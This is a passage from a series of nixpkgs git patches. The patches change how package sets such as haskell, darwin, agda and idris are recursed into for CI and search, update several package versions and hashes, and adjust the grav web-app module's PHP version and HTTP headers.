-  roundcubePlugins = dontRecurseIntoAttrs (callPackage ../servers/roundcube/plugins { });
+  roundcubePlugins = recurseIntoAttrs (callPackage ../servers/roundcube/plugins { });
 
   rsyslog = callPackage ../tools/system/rsyslog {
     withHadoop = false; # Currently Broken
diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index edd217c539c4..b0bec1e1495f 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -16,7 +16,6 @@
         haskellPackages
         platformioPackages
         rPackages
-        roundcubePlugins
         sourceHanPackages
         ;
 

From eb884e84e6d74f5b004740d33109eae9fb0d70c2 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 2 Aug 2025 02:10:56 +0200
Subject: [PATCH 4192/4511] tests: recourse into

makes it so nixpkgs-review is running tests

(cherry picked from commit ee6ba1c420cff7a641f7b60134bdbe428ae06405)
---
 pkgs/top-level/all-packages.nix    | 2 +-
 pkgs/top-level/packages-config.nix | 3 +++
 pkgs/top-level/release.nix         | 2 --
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 2cbc48e26745..8bcf0f91a932 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -119,7 +119,7 @@ with pkgs;
     You should not evaluate entire Nixpkgs without measures to handle failing packages.
   '';
 
-  tests = callPackages ../test { };
+  tests = lib.recurseIntoAttrs (callPackages ../test { });
 
   defaultPkgConfigPackages =
     # We don't want nix-env -q to enter this, because all of these are aliases.
diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index b0bec1e1495f..bb65f5ecdc2f 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -35,5 +35,8 @@
       # show up in search results or repository tracking services that consume our
       # packages.json https://github.com/NixOS/nixpkgs/issues/244966
       minimal-bootstrap = { };
+
+      # This makes it so that tests are not appering on search.nixos.org
+      tests = { };
     };
 }
diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index c1a0038fe0d8..fd9a9af7fbdf 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -416,8 +416,6 @@ let
           "aarch64-linux"
         ];
 
-        tests = packagePlatforms pkgs.tests;
-
         # Language packages disabled in https://github.com/NixOS/nixpkgs/commit/ccd1029f58a3bb9eca32d81bf3f33cb4be25cc66
 
         #emacsPackages = packagePlatforms pkgs.emacsPackages;

From 128d420c79872f143d8ec63a6ab8a6f6c4d8243e Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 25 Jul 2025 23:20:56 +0200
Subject: [PATCH 4193/4511] release.nix: don't use special treatment for more
 package sets

(cherry picked from commit a282257e0a51912b53837bef4b36156dc13cc12a)
---
 pkgs/os-specific/darwin/xcode/default.nix |   1 +
 pkgs/top-level/all-packages.nix           |  12 +-
 pkgs/top-level/darwin-packages.nix        | 284 +++++++++++-----------
 pkgs/top-level/release.nix                |  12 +-
 4 files changed, 152 insertions(+), 157 deletions(-)

diff --git a/pkgs/os-specific/darwin/xcode/default.nix b/pkgs/os-specific/darwin/xcode/default.nix
index 5670963b1091..a62586559d1d 100644
--- a/pkgs/os-specific/darwin/xcode/default.nix
+++ b/pkgs/os-specific/darwin/xcode/default.nix
@@ -46,6 +46,7 @@ let
         description = "Apple's XCode SDK";
         license = licenses.unfree;
         platforms = platforms.darwin ++ platforms.linux;
+        hydraPlatforms = [ ];
         sourceProvenance = [ sourceTypes.binaryNativeCode ];
       };
 
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 8bcf0f91a932..22b16d14c803 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -5691,7 +5691,7 @@ with pkgs;
 
   gwt240 = callPackage ../development/compilers/gwt/2.4.0.nix { };
 
-  idrisPackages = dontRecurseIntoAttrs (
+  idrisPackages = recurseIntoAttrs (
     callPackage ../development/idris-modules {
       idris-no-deps = haskellPackages.idris;
       pkgs = pkgs.__splicedPackages;
@@ -9963,9 +9963,11 @@ with pkgs;
 
   ### DEVELOPMENT / LIBRARIES / AGDA
 
-  agdaPackages = callPackage ./agda-packages.nix {
-    inherit (haskellPackages) Agda;
-  };
+  agdaPackages = recurseIntoAttrs (
+    callPackage ./agda-packages.nix {
+      inherit (haskellPackages) Agda;
+    }
+  );
   agda = agdaPackages.agda;
 
   ### DEVELOPMENT / LIBRARIES / BASH
@@ -11127,7 +11129,7 @@ with pkgs;
   # Even though this is a set of packages not single package, use `callPackage`
   # not `callPackages` so the per-package callPackages don't have their
   # `.override` clobbered. C.F. `llvmPackages` which does the same.
-  darwin = recurseIntoAttrs (callPackage ./darwin-packages.nix { });
+  darwin = callPackage ./darwin-packages.nix { };
 
   displaylink = callPackage ../os-specific/linux/displaylink {
     inherit (linuxPackages) evdi;
diff --git a/pkgs/top-level/darwin-packages.nix b/pkgs/top-level/darwin-packages.nix
index 935397ac6fb0..3375bc4f6186 100644
--- a/pkgs/top-level/darwin-packages.nix
+++ b/pkgs/top-level/darwin-packages.nix
@@ -45,174 +45,176 @@ makeScopeWithSplicing' {
       impure-cmds = pkgs.callPackage ../os-specific/darwin/impure-cmds { };
     in
 
-    impure-cmds
-    // apple-source-packages
-    // {
+    lib.recurseIntoAttrs (
+      impure-cmds
+      // apple-source-packages
+      // {
 
-      inherit (self.adv_cmds) ps;
+        inherit (self.adv_cmds) ps;
 
-      binutils-unwrapped = callPackage ../os-specific/darwin/binutils {
-        inherit (pkgs) cctools;
-        inherit (pkgs.llvmPackages) clang-unwrapped llvm llvm-manpages;
-      };
+        binutils-unwrapped = callPackage ../os-specific/darwin/binutils {
+          inherit (pkgs) cctools;
+          inherit (pkgs.llvmPackages) clang-unwrapped llvm llvm-manpages;
+        };
 
-      binutils = pkgs.wrapBintoolsWith {
-        libc = if stdenv.targetPlatform != stdenv.hostPlatform then pkgs.libcCross else pkgs.stdenv.cc.libc;
-        bintools = self.binutils-unwrapped;
-      };
+        binutils = pkgs.wrapBintoolsWith {
+          libc = if stdenv.targetPlatform != stdenv.hostPlatform then pkgs.libcCross else pkgs.stdenv.cc.libc;
+          bintools = self.binutils-unwrapped;
+        };
 
-      # x86-64 Darwin gnat-bootstrap emits assembly
-      # with MOVQ as the mnemonic for quadword interunit moves
-      # such as `movq %rbp, %xmm0`.
-      # The clang integrated assembler recognises this as valid,
-      # but unfortunately the cctools.gas GNU assembler does not;
-      # it instead uses MOVD as the mnemonic.
-      # The assembly that a GCC build emits is determined at build time
-      # and cannot be changed afterwards.
-      #
-      # To build GNAT on x86-64 Darwin, therefore,
-      # we need both the clang _and_ the cctools.gas assemblers to be available:
-      # the former to build at least the stage1 compiler,
-      # and the latter at least to be detectable
-      # as the target for the final compiler.
-      binutilsDualAs-unwrapped = pkgs.buildEnv {
-        name = "${lib.getName self.binutils-unwrapped}-dualas-${lib.getVersion self.binutils-unwrapped}";
-        paths = [
-          self.binutils-unwrapped
-          (lib.getOutput "gas" pkgs.cctools)
-        ];
-      };
+        # x86-64 Darwin gnat-bootstrap emits assembly
+        # with MOVQ as the mnemonic for quadword interunit moves
+        # such as `movq %rbp, %xmm0`.
+        # The clang integrated assembler recognises this as valid,
+        # but unfortunately the cctools.gas GNU assembler does not;
+        # it instead uses MOVD as the mnemonic.
+        # The assembly that a GCC build emits is determined at build time
+        # and cannot be changed afterwards.
+        #
+        # To build GNAT on x86-64 Darwin, therefore,
+        # we need both the clang _and_ the cctools.gas assemblers to be available:
+        # the former to build at least the stage1 compiler,
+        # and the latter at least to be detectable
+        # as the target for the final compiler.
+        binutilsDualAs-unwrapped = pkgs.buildEnv {
+          name = "${lib.getName self.binutils-unwrapped}-dualas-${lib.getVersion self.binutils-unwrapped}";
+          paths = [
+            self.binutils-unwrapped
+            (lib.getOutput "gas" pkgs.cctools)
+          ];
+        };
 
-      binutilsDualAs = self.binutils.override {
-        bintools = self.binutilsDualAs-unwrapped;
-      };
+        binutilsDualAs = self.binutils.override {
+          bintools = self.binutilsDualAs-unwrapped;
+        };
 
-      binutilsNoLibc = pkgs.wrapBintoolsWith {
-        libc = preLibcCrossHeaders;
-        bintools = self.binutils-unwrapped;
-      };
+        binutilsNoLibc = pkgs.wrapBintoolsWith {
+          libc = preLibcCrossHeaders;
+          bintools = self.binutils-unwrapped;
+        };
 
-      # Removes propagated packages from the stdenv, so those packages can be built without depending upon themselves.
-      bootstrapStdenv = mkBootstrapStdenv pkgs.stdenv;
+        # Removes propagated packages from the stdenv, so those packages can be built without depending upon themselves.
+        bootstrapStdenv = mkBootstrapStdenv pkgs.stdenv;
 
-      libSystem = callPackage ../os-specific/darwin/libSystem { };
+        libSystem = callPackage ../os-specific/darwin/libSystem { };
 
-      DarwinTools = callPackage ../os-specific/darwin/DarwinTools { };
+        DarwinTools = callPackage ../os-specific/darwin/DarwinTools { };
 
-      libunwind = callPackage ../os-specific/darwin/libunwind { };
+        libunwind = callPackage ../os-specific/darwin/libunwind { };
 
-      sigtool = callPackage ../os-specific/darwin/sigtool { };
+        sigtool = callPackage ../os-specific/darwin/sigtool { };
 
-      signingUtils = callPackage ../os-specific/darwin/signing-utils { };
+        signingUtils = callPackage ../os-specific/darwin/signing-utils { };
 
-      autoSignDarwinBinariesHook = pkgs.makeSetupHook {
-        name = "auto-sign-darwin-binaries-hook";
-        propagatedBuildInputs = [ self.signingUtils ];
-      } ../os-specific/darwin/signing-utils/auto-sign-hook.sh;
+        autoSignDarwinBinariesHook = pkgs.makeSetupHook {
+          name = "auto-sign-darwin-binaries-hook";
+          propagatedBuildInputs = [ self.signingUtils ];
+        } ../os-specific/darwin/signing-utils/auto-sign-hook.sh;
 
-      iosSdkPkgs = callPackage ../os-specific/darwin/xcode/sdk-pkgs.nix {
-        buildIosSdk = buildPackages.darwin.iosSdkPkgs.sdk;
-        targetIosSdkPkgs = targetPackages.darwin.iosSdkPkgs;
-        inherit (pkgs.llvmPackages) clang-unwrapped;
-      };
+        iosSdkPkgs = callPackage ../os-specific/darwin/xcode/sdk-pkgs.nix {
+          buildIosSdk = buildPackages.darwin.iosSdkPkgs.sdk;
+          targetIosSdkPkgs = targetPackages.darwin.iosSdkPkgs;
+          inherit (pkgs.llvmPackages) clang-unwrapped;
+        };
 
-      lsusb = callPackage ../os-specific/darwin/lsusb { };
+        lsusb = callPackage ../os-specific/darwin/lsusb { };
 
-      openwith = callPackage ../os-specific/darwin/openwith { };
+        openwith = callPackage ../os-specific/darwin/openwith { };
 
-      trash = callPackage ../os-specific/darwin/trash { };
+        trash = callPackage ../os-specific/darwin/trash { };
 
-      inherit (self.file_cmds) xattr;
+        inherit (self.file_cmds) xattr;
 
-      inherit (pkgs.callPackages ../os-specific/darwin/xcode { })
-        xcode_8_1
-        xcode_8_2
-        xcode_9_1
-        xcode_9_2
-        xcode_9_3
-        xcode_9_4
-        xcode_9_4_1
-        xcode_10_1
-        xcode_10_2
-        xcode_10_2_1
-        xcode_10_3
-        xcode_11
-        xcode_11_1
-        xcode_11_2
-        xcode_11_3_1
-        xcode_11_4
-        xcode_11_5
-        xcode_11_6
-        xcode_11_7
-        xcode_12
-        xcode_12_0_1
-        xcode_12_1
-        xcode_12_2
-        xcode_12_3
-        xcode_12_4
-        xcode_12_5
-        xcode_12_5_1
-        xcode_13
-        xcode_13_1
-        xcode_13_2
-        xcode_13_3
-        xcode_13_3_1
-        xcode_13_4
-        xcode_13_4_1
-        xcode_14
-        xcode_14_1
-        xcode_15
-        xcode_15_0_1
-        xcode_15_1
-        xcode_15_2
-        xcode_15_3
-        xcode_15_4
-        xcode_16
-        xcode_16_1
-        xcode_16_2
-        xcode_16_3
-        xcode
-        requireXcode
-        ;
+        inherit (pkgs.callPackages ../os-specific/darwin/xcode { })
+          xcode_8_1
+          xcode_8_2
+          xcode_9_1
+          xcode_9_2
+          xcode_9_3
+          xcode_9_4
+          xcode_9_4_1
+          xcode_10_1
+          xcode_10_2
+          xcode_10_2_1
+          xcode_10_3
+          xcode_11
+          xcode_11_1
+          xcode_11_2
+          xcode_11_3_1
+          xcode_11_4
+          xcode_11_5
+          xcode_11_6
+          xcode_11_7
+          xcode_12
+          xcode_12_0_1
+          xcode_12_1
+          xcode_12_2
+          xcode_12_3
+          xcode_12_4
+          xcode_12_5
+          xcode_12_5_1
+          xcode_13
+          xcode_13_1
+          xcode_13_2
+          xcode_13_3
+          xcode_13_3_1
+          xcode_13_4
+          xcode_13_4_1
+          xcode_14
+          xcode_14_1
+          xcode_15
+          xcode_15_0_1
+          xcode_15_1
+          xcode_15_2
+          xcode_15_3
+          xcode_15_4
+          xcode_16
+          xcode_16_1
+          xcode_16_2
+          xcode_16_3
+          xcode
+          requireXcode
+          ;
 
-      xcodeProjectCheckHook = pkgs.makeSetupHook {
-        name = "xcode-project-check-hook";
-        propagatedBuildInputs = [ pkgs.pkgsBuildHost.openssl ];
-      } ../os-specific/darwin/xcode-project-check-hook/setup-hook.sh;
+        xcodeProjectCheckHook = pkgs.makeSetupHook {
+          name = "xcode-project-check-hook";
+          propagatedBuildInputs = [ pkgs.pkgsBuildHost.openssl ];
+        } ../os-specific/darwin/xcode-project-check-hook/setup-hook.sh;
 
-      # See doc/packages/darwin-builder.section.md
-      linux-builder = lib.makeOverridable (
-        { modules }:
-        let
-          toGuest = builtins.replaceStrings [ "darwin" ] [ "linux" ];
+        # See doc/packages/darwin-builder.section.md
+        linux-builder = lib.makeOverridable (
+          { modules }:
+          let
+            toGuest = builtins.replaceStrings [ "darwin" ] [ "linux" ];
 
-          nixos = import ../../nixos {
-            configuration = {
-              imports = [
-                ../../nixos/modules/profiles/nix-builder-vm.nix
-              ]
-              ++ modules;
+            nixos = import ../../nixos {
+              configuration = {
+                imports = [
+                  ../../nixos/modules/profiles/nix-builder-vm.nix
+                ]
+                ++ modules;
 
-              # If you need to override this, consider starting with the right Nixpkgs
-              # in the first place, ie change `pkgs` in `pkgs.darwin.linux-builder`.
-              # or if you're creating new wiring that's not `pkgs`-centric, perhaps use the
-              # macos-builder profile directly.
-              virtualisation.host = { inherit pkgs; };
+                # If you need to override this, consider starting with the right Nixpkgs
+                # in the first place, ie change `pkgs` in `pkgs.darwin.linux-builder`.
+                # or if you're creating new wiring that's not `pkgs`-centric, perhaps use the
+                # macos-builder profile directly.
+                virtualisation.host = { inherit pkgs; };
 
-              nixpkgs.hostPlatform = lib.mkDefault (toGuest stdenv.hostPlatform.system);
+                nixpkgs.hostPlatform = lib.mkDefault (toGuest stdenv.hostPlatform.system);
+              };
+
+              system = null;
             };
 
-            system = null;
-          };
+          in
+          nixos.config.system.build.macos-builder-installer
+        ) { modules = [ ]; };
 
-        in
-        nixos.config.system.build.macos-builder-installer
-      ) { modules = [ ]; };
+        linux-builder-x86_64 = self.linux-builder.override {
+          modules = [ { nixpkgs.hostPlatform = "x86_64-linux"; } ];
+        };
 
-      linux-builder-x86_64 = self.linux-builder.override {
-        modules = [ { nixpkgs.hostPlatform = "x86_64-linux"; } ];
-      };
-
-    }
+      }
+    )
   );
 }
diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index fd9a9af7fbdf..1ed2b400ef28 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -392,8 +392,6 @@ let
                 haskell-language-server
                 ;
             });
-        idrisPackages = packagePlatforms pkgs.idrisPackages;
-        agdaPackages = packagePlatforms pkgs.agdaPackages;
 
         pkgsLLVM.stdenv = [
           "x86_64-linux"
@@ -416,16 +414,8 @@ let
           "aarch64-linux"
         ];
 
-        # Language packages disabled in https://github.com/NixOS/nixpkgs/commit/ccd1029f58a3bb9eca32d81bf3f33cb4be25cc66
-
-        #emacsPackages = packagePlatforms pkgs.emacsPackages;
-        #rPackages = packagePlatforms pkgs.rPackages;
+        # Fails CI in its current state
         ocamlPackages = { };
-        perlPackages = { };
-
-        darwin = packagePlatforms pkgs.darwin // {
-          xcode = { };
-        };
       };
       mapTestOn-packages = if attrNamesOnly then packageJobs else mapTestOn packageJobs;
     in

From 85354319d8699188331253b44df01596d0457eb0 Mon Sep 17 00:00:00 2001
From: jopejoe1 <nixpkgs@missing.ninja>
Date: Tue, 2 Sep 2025 11:25:48 +0200
Subject: [PATCH 4194/4511] haskell{,Packages}: use recurseIntoAttrs (#437195)

(cherry picked from commit 99c050020cfa4331b7cd6ee2eb070f581f7782d3)
---
 pkgs/top-level/all-packages.nix     |  4 +--
 pkgs/top-level/haskell-packages.nix |  5 ++--
 pkgs/top-level/packages-config.nix  |  8 ------
 pkgs/top-level/release.nix          | 38 ++++++++++++++---------------
 4 files changed, 24 insertions(+), 31 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 22b16d14c803..9acd9b96998e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -5555,10 +5555,10 @@ with pkgs;
 
   # Haskell and GHC
 
-  haskell = callPackage ./haskell-packages.nix { };
+  haskell = recurseIntoAttrs (callPackage ./haskell-packages.nix { });
 
   haskellPackages =
-    dontRecurseIntoAttrs
+    recurseIntoAttrs
       # Prefer native-bignum to avoid linking issues with gmp
       # GHC 9.6 rts can't be built statically with hadrian, so we need to use 9.4
       # until 9.8 is ready
diff --git a/pkgs/top-level/haskell-packages.nix b/pkgs/top-level/haskell-packages.nix
index 3e9aec8c5b4a..426da4082ba6 100644
--- a/pkgs/top-level/haskell-packages.nix
+++ b/pkgs/top-level/haskell-packages.nix
@@ -78,7 +78,7 @@ in
   # `name: pkgs: pkgs.haskell.packages.${name}.ghc == pkgs.buildPackages.haskell.compiler.${name}.ghc`.
   # This isn't problematic since pkgsBuildBuild.buildPackages is also build->build,
   # just something to keep in mind.
-  compiler =
+  compiler = pkgs.lib.recurseIntoAttrs (
     let
       bb = pkgsBuildBuild.haskell;
     in
@@ -492,7 +492,8 @@ in
             name: compiler.${name}.override { enableNativeBignum = true; }
           )
         );
-    };
+    }
+  );
 
   # Default overrides that are applied to all package sets.
   packageOverrides = self: super: { };
diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index bb65f5ecdc2f..67fa5a2ec73b 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -13,19 +13,11 @@
       inherit (super)
         fusePackages
         gns3Packages
-        haskellPackages
         platformioPackages
         rPackages
         sourceHanPackages
         ;
 
-      # Make sure haskell.compiler is included, so alternative GHC versions show up,
-      # but don't add haskell.packages.* since they contain the same packages (at
-      # least by name) as haskellPackages.
-      haskell = super.haskell // {
-        compiler = recurseIntoAttrs super.haskell.compiler;
-      };
-
       # emacsPackages is an alias for emacs.pkgs
       # Re-introduce emacsPackages here so that emacs.pkgs can be searched.
       emacsPackages = emacs.pkgs;
diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index 1ed2b400ef28..b8e015998b5a 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -371,27 +371,27 @@ let
         if attrNamesOnly then id else release-lib.getPlatforms
       );
       packageJobs = packagePlatforms pkgs // {
-        haskell.compiler = packagePlatforms pkgs.haskell.compiler;
-        haskellPackages = packagePlatforms pkgs.haskellPackages;
         # Build selected packages (HLS) for multiple Haskell compilers to rebuild
         # the cache after a staging merge
-        haskell.packages =
-          genAttrs
-            [
-              # TODO: share this list between release.nix and release-haskell.nix
-              "ghc90"
-              "ghc92"
-              "ghc94"
-              "ghc96"
-              "ghc98"
-              "ghc910"
-              "ghc912"
-            ]
-            (compilerName: {
-              inherit (packagePlatforms pkgs.haskell.packages.${compilerName})
-                haskell-language-server
-                ;
-            });
+        haskell = packagePlatforms pkgs.haskell // {
+          packages =
+            genAttrs
+              [
+                # TODO: share this list between release.nix and release-haskell.nix
+                "ghc90"
+                "ghc92"
+                "ghc94"
+                "ghc96"
+                "ghc98"
+                "ghc910"
+                "ghc912"
+              ]
+              (compilerName: {
+                inherit (packagePlatforms pkgs.haskell.packages.${compilerName})
+                  haskell-language-server
+                  ;
+              });
+        };
 
         pkgsLLVM.stdenv = [
           "x86_64-linux"

From 298b99df71b6b89bbea2cc99eb178a94b95eb70d Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 2 Sep 2025 18:41:15 +0000
Subject: [PATCH 4195/4511] synapse-admin-etkecc: 0.11.1-etke45 ->
 0.11.1-etke46

Changelog: https://github.com/etkecc/synapse-admin/releases/tag/v0.11.1-etke46
Diff: https://github.com/etkecc/synapse-admin/compare/v0.11.1-etke45...v0.11.1-etke46
(cherry picked from commit 3dac25ef77886897bf6eecea0b5d2eb9a6a3450b)
---
 pkgs/by-name/sy/synapse-admin-etkecc/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
index 4bb6743d2470..d10e750ba484 100644
--- a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
+++ b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
@@ -17,18 +17,18 @@ assert lib.asserts.assertMsg (
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "synapse-admin-etkecc";
-  version = "0.11.1-etke45";
+  version = "0.11.1-etke46";
 
   src = fetchFromGitHub {
     owner = "etkecc";
     repo = "synapse-admin";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-LlwNVlgZl5O9paEGem68FbzAPOfXlLTxZ865vR7qPR8=";
+    hash = "sha256-jRz4yST/Uqo2lLNKU/5vtP9pw3kLtgi3Btq5LxO2xOA=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = finalAttrs.src + "/yarn.lock";
-    hash = "sha256-7eSQQdcJkBIbG/0cj0uh02Day+4ph6LMQGIaMPqjpdk=";
+    hash = "sha256-E9ukVprsM6GAUuWw+5l4PoYQc9VoDh1YgtpCRmCCam0=";
   };
 
   nativeBuildInputs = [

From 4b5e614d94873d4d65cafc3b048fa135934e6386 Mon Sep 17 00:00:00 2001
From: Robert Helgesson <robert@rycee.net>
Date: Mon, 1 Sep 2025 21:25:57 +0200
Subject: [PATCH 4196/4511] nixos/grav: use PHP 8.3

The stable version of Grav is not compatible with later versions of
PHP.

(cherry picked from commit 22617bd181184e8cd0d4c4bccab441976178a893)
---
 nixos/modules/services/web-apps/grav.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/grav.nix b/nixos/modules/services/web-apps/grav.nix
index ea2c8ed46271..3874f6452106 100644
--- a/nixos/modules/services/web-apps/grav.nix
+++ b/nixos/modules/services/web-apps/grav.nix
@@ -69,7 +69,7 @@ in
       '';
     };
 
-    phpPackage = mkPackageOption pkgs "php" { };
+    phpPackage = mkPackageOption pkgs "php83" { };
 
     maxUploadSize = mkOption {
       type = types.str;

From 908dbaf1e7d3b1d8258faea22fd2bd5552de6af3 Mon Sep 17 00:00:00 2001
From: Robert Helgesson <robert@rycee.net>
Date: Mon, 1 Sep 2025 21:02:30 +0200
Subject: [PATCH 4197/4511] nixos/grav: remove X-XSS-Protection

See <https://github.com/NixOS/nixpkgs/issues/438800>.

(cherry picked from commit 90c505624bf4de0f29d27cb27fd5de8fdf15d9e7)
---
 nixos/modules/services/web-apps/grav.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/grav.nix b/nixos/modules/services/web-apps/grav.nix
index 3874f6452106..4feb67cfcadf 100644
--- a/nixos/modules/services/web-apps/grav.nix
+++ b/nixos/modules/services/web-apps/grav.nix
@@ -231,7 +231,6 @@ in
           extraConfig = ''
             index index.php index.html /index.php$request_uri;
             add_header X-Content-Type-Options nosniff;
-            add_header X-XSS-Protection "1; mode=block";
             add_header X-Download-Options noopen;
             add_header X-Permitted-Cross-Domain-Policies none;
             add_header X-Frame-Options sameorigin;

From a469fa12e5149640472d4d694e6154aadd642db6 Mon Sep 17 00:00:00 2001
From: Robert Helgesson <robert@rycee.net>
Date: Mon, 1 Sep 2025 21:10:05 +0200
Subject: [PATCH 4198/4511] grav: 1.7.48 -> 1.7.49.2

(cherry picked from commit f7f6c96ea7b6d29510edf1482d62f62b1c141090)
---
 pkgs/by-name/gr/grav/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gr/grav/package.nix b/pkgs/by-name/gr/grav/package.nix
index c351065280d9..a8ed7792743b 100644
--- a/pkgs/by-name/gr/grav/package.nix
+++ b/pkgs/by-name/gr/grav/package.nix
@@ -6,7 +6,7 @@
 }:
 
 let
-  version = "1.7.48";
+  version = "1.7.49.2";
 in
 stdenvNoCC.mkDerivation {
   pname = "grav";
@@ -14,7 +14,7 @@ stdenvNoCC.mkDerivation {
 
   src = fetchzip {
     url = "https://github.com/getgrav/grav/releases/download/${version}/grav-admin-v${version}.zip";
-    hash = "sha256-e8WpdO0n3pY4Ajs1fvMkMI+CrR6uMitswvYS5rxal4g=";
+    hash = "sha256-Yu7uFoim12pe4OT/dSsQVcZ6nyYGKWLJbsfLFtI05Z8=";
   };
 
   patches = [

From b63a14c793864217bae871ed80658ceb4b37c430 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Wed, 27 Aug 2025 20:56:03 +0200
Subject: [PATCH 4199/4511] element-unwrapped: 1.11.109 -> 1.11.110

Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.110
Full changelog: https://github.com/element-hq/element-web/compare/v1.11.109...v1.11.110

(cherry picked from commit 997f41082f28f87e61327e629005d77e9b294c30)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index 6df28701db00..e10c1bf0187b 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.109";
+  "version" = "1.11.110";
   "hashes" = {
-    "webSrcHash" = "sha256-TTpaRMSi5YX95ZwfQA0XVLO52oPCu9VU0+dVylEQwhU=";
-    "webYarnHash" = "sha256-9HU2k6EX8v3JfPt8HYlLuSnkt7Y12f6AiNXB2e0lDWM=";
+    "webSrcHash" = "sha256-9NOotUTcB2S6SSH620Em0YOwy6mxrWhChqdOZj0Leu0=";
+    "webYarnHash" = "sha256-TimQp6qcgszOuxRUOsN0Ey+pVVUGbEC6aRJ5gYXZ3dg=";
   };
 }

From 6159ae065371d1c6c5a8a2cf1b679d978c36d633 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Wed, 27 Aug 2025 21:01:17 +0200
Subject: [PATCH 4200/4511] element-desktop: 1.11.109 -> 1.11.110

Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.110
Changelog: https://github.com/element-hq/element-desktop/compare/v1.11.109...v1.11.110

(cherry picked from commit 5feaf8b6b53e4608d3aba7f40672e50bcc75e1ef)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index 46a95689ea60..388357a8954c 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.109";
+  "version" = "1.11.110";
   "hashes" = {
-    "desktopSrcHash" = "sha256-4M+1wOwyMVRdzXpgdBi9Fi4WM7MMypDHAOcifk3iejI=";
-    "desktopYarnHash" = "sha256-uff/bOv3Gs/fNk9oPbE0X7EjftrIr7p/wSLgv8SDzkg=";
+    "desktopSrcHash" = "sha256-iWdNiihpU29nek+EQjHmRi7dXadPYYoIt6bhufauKf8=";
+    "desktopYarnHash" = "sha256-l/hclDXT1JeToQPnWFDXU8JSN+oEm5hPYm4OQ7QJONk=";
   };
 }

From 391ceb505e83a2bbd1e8a410e8b602b697a6dd4a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 2 Sep 2025 10:28:50 +0000
Subject: [PATCH 4201/4511] ntpd-rs: 1.6.1 -> 1.6.2

(cherry picked from commit 52c7cdc37ca7854ff2e18758cb8d91c204a00302)
---
 pkgs/by-name/nt/ntpd-rs/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nt/ntpd-rs/package.nix b/pkgs/by-name/nt/ntpd-rs/package.nix
index 206116639cfd..f45e74a3ec40 100644
--- a/pkgs/by-name/nt/ntpd-rs/package.nix
+++ b/pkgs/by-name/nt/ntpd-rs/package.nix
@@ -13,16 +13,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "ntpd-rs";
-  version = "1.6.1";
+  version = "1.6.2";
 
   src = fetchFromGitHub {
     owner = "pendulum-project";
     repo = "ntpd-rs";
     tag = "v${version}";
-    hash = "sha256-1GnJFiptSzj5zI8IlcrFjwooujUM9ouzcIgghUEs518=";
+    hash = "sha256-X8nmfG7ZhtB4P6N0ku0Gc9xHOGJFeGTnB1WizZ2X1fk=";
   };
 
